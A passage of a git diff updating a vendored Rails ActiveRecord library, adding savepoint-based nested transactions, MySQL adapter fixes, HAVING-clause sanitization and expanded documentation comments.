 
-      # Calculates the minimum value on a given column.  The value is returned with the same data type of the column.  See +calculate+ for examples with options.
+      # Calculates the minimum value on a given column.  The value is returned
+      # with the same data type of the column, or +nil+ if there's no row. See
+      # +calculate+ for examples with options.
       #
-      #   Person.minimum('age')
+      #   Person.minimum('age') # => 7
       def minimum(column_name, options = {})
         calculate(:min, column_name, options)
       end
 
-      # Calculates the maximum value on a given column.  The value is returned with the same data type of the column.  See +calculate+ for examples with options.
+      # Calculates the maximum value on a given column. The value is returned
+      # with the same data type of the column, or +nil+ if there's no row. See
+      # +calculate+ for examples with options.
       #
-      #   Person.maximum('age')
+      #   Person.maximum('age') # => 93
       def maximum(column_name, options = {})
         calculate(:max, column_name, options)
       end
 
-      # Calculates the sum of values on a given column.  The value is returned with the same data type of the column.  See +calculate+ for examples with options.
+      # Calculates the sum of values on a given column. The value is returned
+      # with the same data type of the column, 0 if there's no row. See
+      # +calculate+ for examples with options.
       #
-      #   Person.sum('age')
+      #   Person.sum('age') # => 4562
       def sum(column_name, options = {})
         calculate(:sum, column_name, options)
       end
@@ -182,6 +190,8 @@ module ActiveRecord
           sql << ", #{options[:group_field]} AS #{options[:group_alias]}" if options[:group]
           if options[:from]
             sql << " FROM #{options[:from]} "
+          elsif scope && scope[:from] && !use_workaround
+            sql << " FROM #{scope[:from]} "
           else
             sql << " FROM (SELECT #{distinct}#{column_name}" if use_workaround
             sql << " FROM #{connection.quote_table_name(table_name)} "
@@ -206,13 +216,15 @@ module ActiveRecord
           end
 
           if options[:group] && options[:having]
+            having = sanitize_sql_for_conditions(options[:having])
+
             # FrontBase requires identifiers in the HAVING clause and chokes on function calls
             if connection.adapter_name == 'FrontBase'
-              options[:having].downcase!
-              options[:having].gsub!(/#{operation}\s*\(\s*#{column_name}\s*\)/, aggregate_alias)
+              having.downcase!
+              having.gsub!(/#{operation}\s*\(\s*#{column_name}\s*\)/, aggregate_alias)
             end
 
-            sql << " HAVING #{options[:having]} "
+            sql << " HAVING #{having} "
           end
 
           sql << " ORDER BY #{options[:order]} "       if options[:order]
diff --git a/vendor/rails/activerecord/lib/active_record/callbacks.rb b/vendor/rails/activerecord/lib/active_record/callbacks.rb
index 42bfe345..e375037b 100644
--- a/vendor/rails/activerecord/lib/active_record/callbacks.rb
+++ b/vendor/rails/activerecord/lib/active_record/callbacks.rb
@@ -77,7 +77,7 @@ module ActiveRecord
   #
   # In that case, <tt>Reply#destroy</tt> would only run +destroy_readers+ and _not_ +destroy_author+. So, use the callback macros when
   # you want to ensure that a certain callback is called for the entire hierarchy, and use the regular overwriteable methods
-  # when you want to leave it up to each descendent to decide whether they want to call +super+ and trigger the inherited callbacks.
+  # when you want to leave it up to each descendant to decide whether they want to call +super+ and trigger the inherited callbacks.
   #
   # *IMPORTANT:* In order for inheritance to work for the callback queues, you must specify the callbacks before specifying the
   # associations. Otherwise, you might trigger the loading of a child before the parent has registered the callbacks and they won't
@@ -104,16 +104,12 @@ module ActiveRecord
   # The callback objects have methods named after the callback called with the record as the only parameter, such as:
   #
   #   class BankAccount < ActiveRecord::Base
-  #     before_save      EncryptionWrapper.new("credit_card_number")
-  #     after_save       EncryptionWrapper.new("credit_card_number")
-  #     after_initialize EncryptionWrapper.new("credit_card_number")
+  #     before_save      EncryptionWrapper.new
+  #     after_save       EncryptionWrapper.new
+  #     after_initialize EncryptionWrapper.new
   #   end
   #
   #   class EncryptionWrapper
-  #     def initialize(attribute)
-  #       @attribute = attribute
-  #     end
-  #
   #     def before_save(record)
   #       record.credit_card_number = encrypt(record.credit_card_number)
   #     end
@@ -135,7 +131,39 @@ module ActiveRecord
   #   end
   #
   # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has
-  # a method by the name of the callback messaged.
+  # a method by the name of the callback messaged. You can make these callbacks more flexible by passing in other
+  # initialization data such as the name of the attribute to work with:
+  #
+  #   class BankAccount < ActiveRecord::Base
+  #     before_save      EncryptionWrapper.new("credit_card_number")
+  #     after_save       EncryptionWrapper.new("credit_card_number")
+  #     after_initialize EncryptionWrapper.new("credit_card_number")
+  #   end
+  #
+  #   class EncryptionWrapper
+  #     def initialize(attribute)
+  #       @attribute = attribute
+  #     end
+  #
+  #     def before_save(record)
+  #       record.send("#{@attribute}=", encrypt(record.send("#{@attribute}")))
+  #     end
+  #
+  #     def after_save(record)
+  #       record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
+  #     end
+  #
+  #     alias_method :after_find, :after_save
+  #
+  #     private
+  #       def encrypt(value)
+  #         # Secrecy is committed
+  #       end
+  #
+  #       def decrypt(value)
+  #         # Secrecy is unveiled
+  #       end
+  #   end
   #
   # The callback macros usually accept a symbol for the method they're supposed to run, but you can also pass a "method string",
   # which will then be evaluated within the binding of the callback. Example:
@@ -219,8 +247,9 @@ module ActiveRecord
     def after_save()  end
     def create_or_update_with_callbacks #:nodoc:
       return false if callback(:before_save) == false
-      result = create_or_update_without_callbacks
-      callback(:after_save)
+      if result = create_or_update_without_callbacks
+        callback(:after_save)
+      end
       result
     end
     private :create_or_update_with_callbacks
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index 901b1712..aac84cc5 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -351,5 +351,21 @@ module ActiveRecord
         retrieve_connection_pool klass.superclass
       end
     end
+
+    class ConnectionManagement
+      def initialize(app)
+        @app = app
+      end
+
+      def call(env)
+        @app.call(env)
+      ensure
+        # Don't return connection (and peform implicit rollback) if
+        # this request is a part of integration test
+        unless env.key?("rack.test")
+          ActiveRecord::Base.clear_active_connections!
+        end
+      end
+    end
   end
 end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
index a968fc0f..bbc290f7 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb
@@ -7,6 +7,8 @@ module ActiveRecord
       end
     end
 
+    ##
+    # :singleton-method:
     # The connection handler
     cattr_accessor :connection_handler, :instance_writer => false
     @@connection_handler = ConnectionAdapters::ConnectionHandler.new
@@ -121,6 +123,7 @@ module ActiveRecord
         connection_handler.retrieve_connection(self)
       end
 
+      # Returns true if +ActiveRecord+ is connected.
       def connected?
         connection_handler.connected?(self)
       end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index 97c6cd43..08601da0 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -31,13 +31,13 @@ module ActiveRecord
       # Returns an array of arrays containing the field values.
       # Order is the same as that returned by +columns+.
       def select_rows(sql, name = nil)
-        raise NotImplementedError, "select_rows is an abstract method"
       end
+      undef_method :select_rows
 
       # Executes the SQL statement in the context of this connection.
-      def execute(sql, name = nil)
-        raise NotImplementedError, "execute is an abstract method"
+      def execute(sql, name = nil, skip_logging = false)
       end
+      undef_method :execute
 
       # Returns the last auto-generated ID from the affected table.
       def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
@@ -53,36 +53,124 @@ module ActiveRecord
       def delete(sql, name = nil)
         delete_sql(sql, name)
       end
+      
+      # Checks whether there is currently no transaction active. This is done
+      # by querying the database driver, and does not use the transaction
+      # house-keeping information recorded by #increment_open_transactions and
+      # friends.
+      #
+      # Returns true if there is no transaction active, false if there is a
+      # transaction active, and nil if this information is unknown.
+      #
+      # Not all adapters supports transaction state introspection. Currently,
+      # only the PostgreSQL adapter supports this.
+      def outside_transaction?
+        nil
+      end
+
+      # Runs the given block in a database transaction, and returns the result
+      # of the block.
+      #
+      # == Nested transactions support
+      #
+      # Most databases don't support true nested transactions. At the time of
+      # writing, the only database that supports true nested transactions that
+      # we're aware of, is MS-SQL.
+      #
+      # In order to get around this problem, #transaction will emulate the effect
+      # of nested transactions, by using savepoints:
+      # http://dev.mysql.com/doc/refman/5.0/en/savepoints.html
+      # Savepoints are supported by MySQL and PostgreSQL, but not SQLite3.
+      #
+      # It is safe to call this method if a database transaction is already open,
+      # i.e. if #transaction is called within another #transaction block. In case
+      # of a nested call, #transaction will behave as follows:
+      #
+      # - The block will be run without doing anything. All database statements
+      #   that happen within the block are effectively appended to the already
+      #   open database transaction.
+      # - However, if +:requires_new+ is set, the block will be wrapped in a
+      #   database savepoint acting as a sub-transaction.
+      #
+      # === Caveats
+      #
+      # MySQL doesn't support DDL transactions. If you perform a DDL operation,
+      # then any created savepoints will be automatically released. For example,
+      # if you've created a savepoint, then you execute a CREATE TABLE statement,
+      # then the savepoint that was created will be automatically released.
+      #
+      # This means that, on MySQL, you shouldn't execute DDL operations inside
+      # a #transaction call that you know might create a savepoint. Otherwise,
+      # #transaction will raise exceptions when it tries to release the
+      # already-automatically-released savepoints:
+      #
+      #   Model.connection.transaction do  # BEGIN
+      #     Model.connection.transaction(:requires_new => true) do  # CREATE SAVEPOINT active_record_1
+      #       Model.connection.create_table(...)
+      #       # active_record_1 now automatically released
+      #     end  # RELEASE SAVEPOINT active_record_1  <--- BOOM! database error!
+      #   end
+      def transaction(options = {})
+        options.assert_valid_keys :requires_new, :joinable
+
+        last_transaction_joinable = @transaction_joinable
+        if options.has_key?(:joinable)
+          @transaction_joinable = options[:joinable]
+        else
+          @transaction_joinable = true
+        end
+        requires_new = options[:requires_new] || !last_transaction_joinable
 
-      # Wrap a block in a transaction.  Returns result of block.
-      def transaction(start_db_transaction = true)
         transaction_open = false
         begin
           if block_given?
-            if start_db_transaction
-              begin_db_transaction
+            if requires_new || open_transactions == 0
+              if open_transactions == 0
+                begin_db_transaction
+              elsif requires_new
+                create_savepoint
+              end
+              increment_open_transactions
               transaction_open = true
             end
             yield
           end
         rescue Exception => database_transaction_rollback
-          if transaction_open
+          if transaction_open && !outside_transaction?
             transaction_open = false
-            rollback_db_transaction
+            decrement_open_transactions
+            if open_transactions == 0
+              rollback_db_transaction
+            else
+              rollback_to_savepoint
+            end
           end
-          raise unless database_transaction_rollback.is_a? ActiveRecord::Rollback
+          raise unless database_transaction_rollback.is_a?(ActiveRecord::Rollback)
         end
       ensure
-        if transaction_open
+        @transaction_joinable = last_transaction_joinable
+
+        if outside_transaction?
+          @open_transactions = 0
+        elsif transaction_open
+          decrement_open_transactions
           begin
-            commit_db_transaction
+            if open_transactions == 0
+              commit_db_transaction
+            else
+              release_savepoint
+            end
           rescue Exception => database_transaction_rollback
-            rollback_db_transaction
+            if open_transactions == 0
+              rollback_db_transaction
+            else
+              rollback_to_savepoint
+            end
             raise
           end
         end
       end
-
+      
       # Begins the transaction (and turns off auto-committing).
       def begin_db_transaction()    end
 
@@ -163,8 +251,8 @@ module ActiveRecord
         # Returns an array of record hashes with the column names as keys and
         # column values as values.
         def select(sql, name = nil)
-          raise NotImplementedError, "select is an abstract method"
         end
+        undef_method :select
 
         # Returns the last auto-generated ID from the affected table.
         def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 950bd721..00c71090 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -14,12 +14,12 @@ module ActiveRecord
         def dirties_query_cache(base, *method_names)
           method_names.each do |method_name|
             base.class_eval <<-end_code, __FILE__, __LINE__
-              def #{method_name}_with_query_dirty(*args)
-                clear_query_cache if @query_cache_enabled
-                #{method_name}_without_query_dirty(*args)
-              end
-
-              alias_method_chain :#{method_name}, :query_dirty
+              def #{method_name}_with_query_dirty(*args)        # def update_with_query_dirty(*args)
+                clear_query_cache if @query_cache_enabled       #   clear_query_cache if @query_cache_enabled
+                #{method_name}_without_query_dirty(*args)       #   update_without_query_dirty(*args)
+              end                                               # end
+                                                                #
+              alias_method_chain :#{method_name}, :query_dirty  # alias_method_chain :update, :query_dirty
             end_code
           end
         end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 58992f91..520f3c8c 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -8,6 +8,7 @@ module ActiveRecord
     # An abstract definition of a column in a table.
     class Column
       TRUE_VALUES = [true, 1, '1', 't', 'T', 'true', 'TRUE'].to_set
+      FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE'].to_set
 
       module Format
         ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/
@@ -32,10 +33,12 @@ module ActiveRecord
         @primary = nil
       end
 
+      # Returns +true+ if the column is either of type string or text.
       def text?
         type == :string || type == :text
       end
 
+      # Returns +true+ if the column is either of type integer, float or decimal.
       def number?
         type == :integer || type == :float || type == :decimal
       end
@@ -274,7 +277,6 @@ module ActiveRecord
         add_column_options!(column_sql, column_options) unless type.to_sym == :primary_key
         column_sql
       end
-      alias to_s :to_sql
 
       private
 
@@ -295,7 +297,7 @@ module ActiveRecord
     #         puts t.class  # => "ActiveRecord::ConnectionAdapters::TableDefinition"
     #       end
     #     end
-    #     
+    #
     #     def self.down
     #       ...
     #     end
@@ -313,6 +315,20 @@ module ActiveRecord
         @base = base
       end
 
+      #Handles non supported datatypes - e.g. XML
+      def method_missing(symbol, *args)
+        if symbol.to_s == 'xml'
+          xml_column_fallback(args)
+        end
+      end
+
+      def xml_column_fallback(*args)
+        case @base.adapter_name.downcase
+          when 'sqlite', 'mysql'
+            options = args.extract_options!
+            column(args[0], :text, options)
+          end
+        end
       # Appends a primary key definition to the table definition.
       # Can be called multiple times, but this is probably not a good idea.
       def primary_key(name)
@@ -474,12 +490,12 @@ module ActiveRecord
 
       %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
         class_eval <<-EOV
-          def #{column_type}(*args)
-            options = args.extract_options!
-            column_names = args
-
-            column_names.each { |name| column(name, '#{column_type}', options) }
-          end
+          def #{column_type}(*args)                                               # def string(*args)
+            options = args.extract_options!                                       #   options = args.extract_options!
+            column_names = args                                                   #   column_names = args
+                                                                                  #
+            column_names.each { |name| column(name, '#{column_type}', options) }  #   column_names.each { |name| column(name, 'string', options) }
+          end                                                                     # end
         EOV
       end
 
@@ -505,7 +521,7 @@ module ActiveRecord
       # concatenated together. This string can then be prepended and appended to
       # to generate the final SQL to create the table.
       def to_sql
-        @columns * ', '
+        @columns.map(&:to_sql) * ', '
       end
 
       private
@@ -674,24 +690,24 @@ module ActiveRecord
       #  t.string(:goat, :sheep)
       %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
         class_eval <<-EOV
-          def #{column_type}(*args)
-            options = args.extract_options!
-            column_names = args
-
-            column_names.each do |name|
-              column = ColumnDefinition.new(@base, name, '#{column_type}')
-              if options[:limit]
-                column.limit = options[:limit]
-              elsif native['#{column_type}'.to_sym].is_a?(Hash)
-                column.limit = native['#{column_type}'.to_sym][:limit]
-              end
-              column.precision = options[:precision]
-              column.scale = options[:scale]
-              column.default = options[:default]
-              column.null = options[:null]
-              @base.add_column(@table_name, name, column.sql_type, options)
-            end
-          end
+          def #{column_type}(*args)                                          # def string(*args)
+            options = args.extract_options!                                  #   options = args.extract_options!
+            column_names = args                                              #   column_names = args
+                                                                             #
+            column_names.each do |name|                                      #   column_names.each do |name|
+              column = ColumnDefinition.new(@base, name, '#{column_type}')   #     column = ColumnDefinition.new(@base, name, 'string')
+              if options[:limit]                                             #     if options[:limit]
+                column.limit = options[:limit]                               #       column.limit = options[:limit]
+              elsif native['#{column_type}'.to_sym].is_a?(Hash)              #     elsif native['string'.to_sym].is_a?(Hash)
+                column.limit = native['#{column_type}'.to_sym][:limit]       #       column.limit = native['string'.to_sym][:limit]
+              end                                                            #     end
+              column.precision = options[:precision]                         #     column.precision = options[:precision]
+              column.scale = options[:scale]                                 #     column.scale = options[:scale]
+              column.default = options[:default]                             #     column.default = options[:default]
+              column.null = options[:null]                                   #     column.null = options[:null]
+              @base.add_column(@table_name, name, column.sql_type, options)  #     @base.add_column(@table_name, name, column.sql_type, options)
+            end                                                              #   end
+          end                                                                # end
         EOV
       end
 
@@ -703,3 +719,4 @@ module ActiveRecord
 
   end
 end
+
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index c29c1562..7e820998 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -99,7 +99,7 @@ module ActiveRecord
       # See also TableDefinition#column for details on how to create columns.
       def create_table(table_name, options = {})
         table_definition = TableDefinition.new(self)
-        table_definition.primary_key(options[:primary_key] || Base.get_primary_key(table_name)) unless options[:id] == false
+        table_definition.primary_key(options[:primary_key] || Base.get_primary_key(table_name.to_s.singularize)) unless options[:id] == false
 
         yield table_definition
 
@@ -321,7 +321,7 @@ module ActiveRecord
             schema_migrations_table.column :version, :string, :null => false
           end
           add_index sm_table, :version, :unique => true,
-            :name => 'unique_schema_migrations'
+            :name => "#{Base.table_name_prefix}unique_schema_migrations#{Base.table_name_suffix}"
 
           # Backwards-compatibility: if we find schema_info, assume we've
           # migrated up to that point:
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index 092d8f22..22871f2b 100755
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -3,6 +3,7 @@ require 'date'
 require 'bigdecimal'
 require 'bigdecimal/util'
 
+# TODO: Autoload these files
 require 'active_record/connection_adapters/abstract/schema_definitions'
 require 'active_record/connection_adapters/abstract/schema_statements'
 require 'active_record/connection_adapters/abstract/database_statements'
@@ -53,6 +54,13 @@ module ActiveRecord
         false
       end
 
+      # Can this adapter determine the primary key for tables not attached
+      # to an ActiveRecord class, such as join tables?  Backend specific, as
+      # the abstract adapter always returns +false+.
+      def supports_primary_key?
+        false
+      end
+
       # Does this adapter support using DISTINCT within COUNT?  This is +true+
       # for all adapters except sqlite.
       def supports_count_distinct?
@@ -65,6 +73,12 @@ module ActiveRecord
       def supports_ddl_transactions?
         false
       end
+      
+      # Does this adapter support savepoints? PostgreSQL and MySQL do, SQLite
+      # does not.
+      def supports_savepoints?
+        false
+      end
 
       # Should primary key values be selected from their corresponding
       # sequence before the insert statement?  If true, next_sequence_value
@@ -159,9 +173,26 @@ module ActiveRecord
         @open_transactions -= 1
       end
 
-      def log_info(sql, name, seconds)
+      def transaction_joinable=(joinable)
+        @transaction_joinable = joinable
+      end
+
+      def create_savepoint
+      end
+
+      def rollback_to_savepoint
+      end
+
+      def release_savepoint
+      end
+
+      def current_savepoint_name
+        "active_record_#{open_transactions}"
+      end
+
+      def log_info(sql, name, ms)
         if @logger && @logger.debug?
-          name = "#{name.nil? ? "SQL" : name} (#{sprintf("%.1f", seconds * 1000)}ms)"
+          name = '%s (%.1fms)' % [name || 'SQL', ms]
           @logger.debug(format_log_entry(name, sql.squeeze(' ')))
         end
       end
@@ -170,9 +201,9 @@ module ActiveRecord
         def log(sql, name)
           if block_given?
             result = nil
-            seconds = Benchmark.realtime { result = yield }
-            @runtime += seconds
-            log_info(sql, name, seconds)
+            ms = Benchmark.ms { result = yield }
+            @runtime += ms
+            log_info(sql, name, ms)
             result
           else
             log_info(sql, name, 0)
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index 1e452ae8..19345d38 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -7,29 +7,32 @@ module MysqlCompat #:nodoc:
     raise 'Mysql not loaded' unless defined?(::Mysql)
 
     target = defined?(Mysql::Result) ? Mysql::Result : MysqlRes
-    return if target.instance_methods.include?('all_hashes')
+    return if target.instance_methods.include?('all_hashes') ||
+              target.instance_methods.include?(:all_hashes)
 
     # Ruby driver has a version string and returns null values in each_hash
     # C driver >= 2.7 returns null values in each_hash
     if Mysql.const_defined?(:VERSION) && (Mysql::VERSION.is_a?(String) || Mysql::VERSION >= 20700)
       target.class_eval <<-'end_eval'
-      def all_hashes
-        rows = []
-        each_hash { |row| rows << row }
-        rows
-      end
+      def all_hashes                     # def all_hashes
+        rows = []                        #   rows = []
+        each_hash { |row| rows << row }  #   each_hash { |row| rows << row }
+        rows                             #   rows
+      end                                # end
       end_eval
 
     # adapters before 2.7 don't have a version constant
     # and don't return null values in each_hash
     else
       target.class_eval <<-'end_eval'
-      def all_hashes
-        rows = []
-        all_fields = fetch_fields.inject({}) { |fields, f| fields[f.name] = nil; fields }
-        each_hash { |row| rows << all_fields.dup.update(row) }
-        rows
-      end
+      def all_hashes                                            # def all_hashes
+        rows = []                                               #   rows = []
+        all_fields = fetch_fields.inject({}) { |fields, f|      #   all_fields = fetch_fields.inject({}) { |fields, f|
+          fields[f.name] = nil; fields                          #     fields[f.name] = nil; fields
+        }                                                       #   }
+        each_hash { |row| rows << all_fields.dup.update(row) }  #   each_hash { |row| rows << all_fields.dup.update(row) }
+        rows                                                    #   rows
+      end                                                       # end
       end_eval
     end
 
@@ -50,12 +53,7 @@ module ActiveRecord
       socket   = config[:socket]
       username = config[:username] ? config[:username].to_s : 'root'
       password = config[:password].to_s
-
-      if config.has_key?(:database)
-        database = config[:database]
-      else
-        raise ArgumentError, "No database specified. Missing argument: database."
-      end
+      database = config[:database]
 
       # Require the MySQL driver and define Mysql::Result.all_hashes
       unless defined? Mysql
@@ -66,19 +64,22 @@ module ActiveRecord
           raise
         end
       end
+
       MysqlCompat.define_all_hashes_method!
 
       mysql = Mysql.init
       mysql.ssl_set(config[:sslkey], config[:sslcert], config[:sslca], config[:sslcapath], config[:sslcipher]) if config[:sslca] || config[:sslkey]
 
-      ConnectionAdapters::MysqlAdapter.new(mysql, logger, [host, username, password, database, port, socket], config)
+      default_flags = Mysql.const_defined?(:CLIENT_MULTI_RESULTS) ? Mysql::CLIENT_MULTI_RESULTS : 0
+      options = [host, username, password, database, port, socket, default_flags]
+      ConnectionAdapters::MysqlAdapter.new(mysql, logger, options, config)
     end
   end
 
   module ConnectionAdapters
     class MysqlColumn < Column #:nodoc:
       def extract_default(default)
-        if type == :binary || type == :text
+        if sql_type =~ /blob/i || type == :text
           if default.blank?
             return null ? nil : ''
           else
@@ -92,7 +93,7 @@ module ActiveRecord
       end
 
       def has_default?
-        return false if type == :binary || type == :text #mysql forbids defaults on blob and text columns
+        return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns
         super
       end
 
@@ -150,19 +151,23 @@ module ActiveRecord
     # * <tt>:password</tt> - Defaults to nothing.
     # * <tt>:database</tt> - The name of the database. No default, must be provided.
     # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection.
+    # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html).
     # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection.
     # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection.
     # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection.
     # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection.
     # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection.
     #
-    # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt>
-    # as boolean. If you wish to disable this emulation (which was the default
-    # behavior in versions 0.13.1 and earlier) you can add the following line
-    # to your environment.rb file:
-    #
-    #   ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false
     class MysqlAdapter < AbstractAdapter
+
+      ##
+      # :singleton-method:
+      # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt>
+      # as boolean. If you wish to disable this emulation (which was the default
+      # behavior in versions 0.13.1 and earlier) you can add the following line
+      # to your environment.rb file:
+      #
+      #   ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false
       cattr_accessor :emulate_booleans
       self.emulate_booleans = true
 
@@ -205,6 +210,14 @@ module ActiveRecord
       def supports_migrations? #:nodoc:
         true
       end
+      
+      def supports_primary_key? #:nodoc:
+        true
+      end
+
+      def supports_savepoints? #:nodoc:
+        true
+      end
 
       def native_database_types #:nodoc:
         NATIVE_DATABASE_TYPES
@@ -305,6 +318,7 @@ module ActiveRecord
         rows
       end
 
+      # Executes a SQL query and returns a MySQL::Result object. Note that you have to free the Result object after you're done using it.
       def execute(sql, name = nil) #:nodoc:
         log(sql, name) { @connection.query(sql) }
       rescue ActiveRecord::StatementInvalid => exception
@@ -343,6 +357,17 @@ module ActiveRecord
         # Transactions aren't supported
       end
 
+      def create_savepoint
+        execute("SAVEPOINT #{current_savepoint_name}")
+      end
+
+      def rollback_to_savepoint
+        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
+      end
+
+      def release_savepoint
+        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+      end
 
       def add_limit_offset!(sql, options) #:nodoc:
         if limit = options[:limit]
@@ -411,7 +436,9 @@ module ActiveRecord
 
       def tables(name = nil) #:nodoc:
         tables = []
-        execute("SHOW TABLES", name).each { |field| tables << field[0] }
+        result = execute("SHOW TABLES", name)
+        result.each { |field| tables << field[0] }
+        result.free
         tables
       end
 
@@ -422,7 +449,8 @@ module ActiveRecord
       def indexes(table_name, name = nil)#:nodoc:
         indexes = []
         current_index = nil
-        execute("SHOW KEYS FROM #{quote_table_name(table_name)}", name).each do |row|
+        result = execute("SHOW KEYS FROM #{quote_table_name(table_name)}", name)
+        result.each do |row|
           if current_index != row[2]
             next if row[2] == "PRIMARY" # skip the primary key
             current_index = row[2]
@@ -431,13 +459,16 @@ module ActiveRecord
 
           indexes.last.columns << row[4]
         end
+        result.free
         indexes
       end
 
       def columns(table_name, name = nil)#:nodoc:
         sql = "SHOW FIELDS FROM #{quote_table_name(table_name)}"
         columns = []
-        execute(sql, name).each { |field| columns << MysqlColumn.new(field[0], field[4], field[1], field[2] == "YES") }
+        result = execute(sql, name)
+        result.each { |field| columns << MysqlColumn.new(field[0], field[4], field[1], field[2] == "YES") }
+        result.free
         columns
       end
 
@@ -518,12 +549,20 @@ module ActiveRecord
       # Returns a table's primary key and belonging sequence.
       def pk_and_sequence_for(table) #:nodoc:
         keys = []
-        execute("describe #{quote_table_name(table)}").each_hash do |h|
+        result = execute("describe #{quote_table_name(table)}")
+        result.each_hash do |h|
           keys << h["Field"]if h["Key"] == "PRI"
         end
+        result.free
         keys.length == 1 ? [keys.first, nil] : nil
       end
 
+      # Returns just a table's primary key
+      def primary_key(table)
+        pk_and_sequence = pk_and_sequence_for(table)
+        pk_and_sequence && pk_and_sequence.first
+      end
+
       def case_sensitive_equality_operator
         "= BINARY"
       end
@@ -534,8 +573,6 @@ module ActiveRecord
 
       private
         def connect
-          @connection.reconnect = true if @connection.respond_to?(:reconnect=)
-
           encoding = @config[:encoding]
           if encoding
             @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil
@@ -545,7 +582,15 @@ module ActiveRecord
             @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher])
           end
 
+          @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout]
+          @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout]
+          @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout]
+
           @connection.real_connect(*@connection_options)
+
+          # reconnect must be set after real_connect is called, because real_connect sets it to false internally
+          @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=)
+
           configure_connection
         end
 
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index 60ec01b9..bc289ff5 100644
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -39,6 +39,12 @@ module ActiveRecord
   end
 
   module ConnectionAdapters
+    class TableDefinition
+      def xml(*args)
+        options = args.extract_options!
+        column(args[0], 'xml', options)
+      end
+    end
     # PostgreSQL-specific extensions to column definitions in a table.
     class PostgreSQLColumn < Column #:nodoc:
       # Instantiates a new PostgreSQL column definition in a table.
@@ -67,7 +73,7 @@ module ActiveRecord
           # depending on the server specifics
           super
         end
-  
+
         # Maps PostgreSQL-specific data types to logical Rails types.
         def simplified_type(field_type)
           case field_type
@@ -99,10 +105,10 @@ module ActiveRecord
               :string
             # XML type
